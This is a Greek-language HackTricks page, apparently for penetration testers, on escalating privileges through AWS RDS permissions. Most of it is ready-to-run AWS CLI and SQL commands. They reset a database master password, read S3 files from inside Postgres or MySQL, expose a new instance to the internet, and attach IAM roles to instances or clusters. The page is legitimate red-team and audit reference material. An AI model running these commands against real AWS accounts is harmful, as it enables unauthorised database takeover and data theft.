Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε The PEASS Family, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Για περισσότερες πληροφορίες σχετικά με το RDS, ελέγξτε:
{% content-ref url="../aws-services/aws-relational-database-rds-enum.md" %} aws-relational-database-rds-enum.md {% endcontent-ref %}
Με αυτήν την άδεια, ένας επιτιθέμενος μπορεί να τροποποιήσει τον κωδικό πρόσβασης του κύριου χρήστη και την σύνδεση μέσα στη βάση δεδομένων:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
{% hint style="warning" %} Θα πρέπει να μπορείτε να επικοινωνήσετε με τη βάση δεδομένων (συνήθως είναι προσβάσιμες μόνο από εσωτερικά δίκτυα). {% endhint %}
Πιθανές Επιπτώσεις: Εύρεση ευαίσθητων πληροφοριών μέσα στις βάσεις δεδομένων.
Σύμφωνα με τα έγγραφα ένας χρήστης με αυτήν την άδεια μπορεί να συνδεθεί στην περίπτωση της βάσης δεδομένων.
{% hint style="success" %}
Εάν εκτελέσετε την εντολή SELECT datname FROM pg_database;
και βρείτε μια βάση δεδομένων με το όνομα rdsadmin
, τότε γνωρίζετε ότι βρίσκεστε μέσα σε μια AWS postgresql βάση δεδομένων.
{% endhint %}
Πρώτα μπορείτε να ελέγξετε εάν αυτή η βάση δεδομένων έχει χρησιμοποιηθεί για να αποκτήσει πρόσβαση σε οποιαδήποτε άλλη υπηρεσία της AWS. Μπορείτε να ελέγξετε αυτό παρατηρώντας τις εγκατεστημένες επεκτάσεις:
SELECT * FROM pg_extension;
Εάν βρείτε κάτι όπως aws_s3
, μπορείτε να υποθέσετε ότι αυτή η βάση δεδομένων έχει κάποια πρόσβαση στο S3 (υπάρχουν και άλλες επεκτάσεις όπως aws_ml
και aws_lambda
).
Επίσης, εάν έχετε δικαιώματα για να εκτελέσετε aws rds describe-db-clusters
, μπορείτε να δείτε εάν ο συστάδα έχει κάποιον συνδεδεμένο IAM ρόλο στο πεδίο AssociatedRoles
. Εάν υπάρχει, μπορείτε να υποθέσετε ότι η βάση δεδομένων ήταν προετοιμασμένη για πρόσβαση σε άλλες υπηρεσίες του AWS. Με βάση το όνομα του ρόλου (ή εάν μπορείτε να πάρετε τα δικαιώματα του ρόλου), μπορείτε να μαντέψετε ποια επιπλέον πρόσβαση έχει η βάση δεδομένων.
Τώρα, για να διαβάσετε ένα αρχείο μέσα σε ένα κάδο, πρέπει να γνωρίζετε την πλήρη διαδρομή. Μπορείτε να το διαβάσετε με:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Εάν είχατε ακατέργαστα διαπιστευτήρια AWS, θα μπορούσατε επίσης να τα χρησιμοποιήσετε για να αποκτήσετε πρόσβαση σε δεδομένα S3 με:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
{% hint style="info" %} Το Postgresql δεν χρειάζεται να αλλάξει καμία μεταβλητή ομάδας παραμέτρων για να μπορεί να έχει πρόσβαση στο S3. {% endhint %}
{% hint style="success" %}
Μέσα σε ένα mysql, αν εκτελέσετε το ερώτημα SELECT User, Host FROM mysql.user;
και υπάρχει ένας χρήστης με το όνομα rdsadmin
, μπορείτε να υποθέσετε ότι βρίσκεστε μέσα σε μια AWS RDS mysql db.
{% endhint %}
Μέσα στο mysql εκτελέστε την εντολή show variables;
και αν οι μεταβλητές όπως aws_default_s3_role
, aurora_load_from_s3_role
, aurora_select_into_s3_role
έχουν τιμές, μπορείτε να υποθέσετε ότι η βάση δεδομένων είναι προετοιμασμένη για πρόσβαση σε δεδομένα S3.
Επίσης, αν έχετε δικαιώματα να εκτελέσετε την εντολή aws rds describe-db-clusters
μπορείτε να ελέγξετε αν ο cluster έχει κάποιο συσχετισμένο ρόλο, που συνήθως σημαίνει πρόσβαση σε υπηρεσίες AWS).
Τώρα, για να διαβάσετε ένα αρχείο μέσα σε ένα bucket πρέπει να γνωρίζετε την πλήρη διαδρομή. Μπορείτε να το διαβάσετε με την εντολή:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
Ένας επιτιθέμενος με τις άδειες rds:AddRoleToDBCluster
και iam:PassRole
μπορεί να προσθέσει έναν καθορισμένο ρόλο σε ένα υπάρχον RDS instance. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να έχει πρόσβαση σε ευαίσθητα δεδομένα ή να τροποποιήσει τα δεδομένα μέσα στο instance.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Πιθανές Επιπτώσεις: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις των δεδομένων στην περίπτωση RDS.
Σημειώστε ότι ορισμένες βάσεις δεδομένων απαιτούν επιπλέον ρυθμίσεις, όπως η Mysql, η οποία χρειάζεται να καθορίσει το ρόλο ARN στα ομάδας παραμέτρων επίσης.
Μόνο με αυτήν την άδεια, ένας επιτιθέμενος μπορεί να δημιουργήσει μια νέα περίπτωση μέσα σε ένα υπάρχον cluster που έχει επισυναφθεί ένας ρόλος IAM. Δεν θα μπορεί να αλλάξει τον κωδικό του κύριου χρήστη, αλλά μπορεί να αποκαλύψει τη νέα περίπτωση βάσης δεδομένων στο διαδίκτυο:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
{% hint style="info" %} ΕΡΓΑΣΙΕΣ: Δοκιμή {% endhint %}
Ένας επιτιθέμενος με τις άδειες rds:CreateDBInstance
και iam:PassRole
μπορεί να δημιουργήσει ένα νέο RDS instance με συνδεδεμένο ένα συγκεκριμένο ρόλο. Ο επιτιθέμενος μπορεί στη συνέχεια να έχει πρόσβαση σε ευαίσθητα δεδομένα ή να τροποποιήσει τα δεδομένα μέσα στο instance.
{% hint style="warning" %} Ορισμένες απαιτήσεις για τον ρόλο/προφίλ του instance που θα συνδεθεί (από εδώ):
- Το προφίλ πρέπει να υπάρχει στον λογαριασμό σας.
- Το προφίλ πρέπει να έχει έναν ρόλο IAM που ο Amazon EC2 έχει δικαιώματα να υποθέσει.
- Το όνομα του προφίλ του instance και το συνδεδεμένο όνομα του ρόλου IAM πρέπει να ξεκινά με το πρόθεμα
AWSRDSCustom
. {% endhint %}
{% code overflow="wrap" %}
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
{% endcode %}
Πιθανές Επιπτώσεις: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα της RDS περίπτωσης.
Ένας επιτιθέμενος με τις άδειες rds:AddRoleToDBInstance
και iam:PassRole
μπορεί να προσθέσει έναν καθορισμένο ρόλο σε μια υπάρχουσα περίπτωση RDS. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να έχει πρόσβαση σε ευαίσθητα δεδομένα ή να τροποποιήσει τα δεδομένα μέσα στην περίπτωση.
{% hint style="warning" %} Η περίπτωση της βάσης δεδομένων πρέπει να είναι εκτός ενός συστήματος συστάδας για αυτό {% endhint %}
{% code overflow="wrap" %}
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
{% endcode %}
Πιθανές Επιπτώσεις: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις των δεδομένων στην περίπτωση RDS.
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε The PEASS Family, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.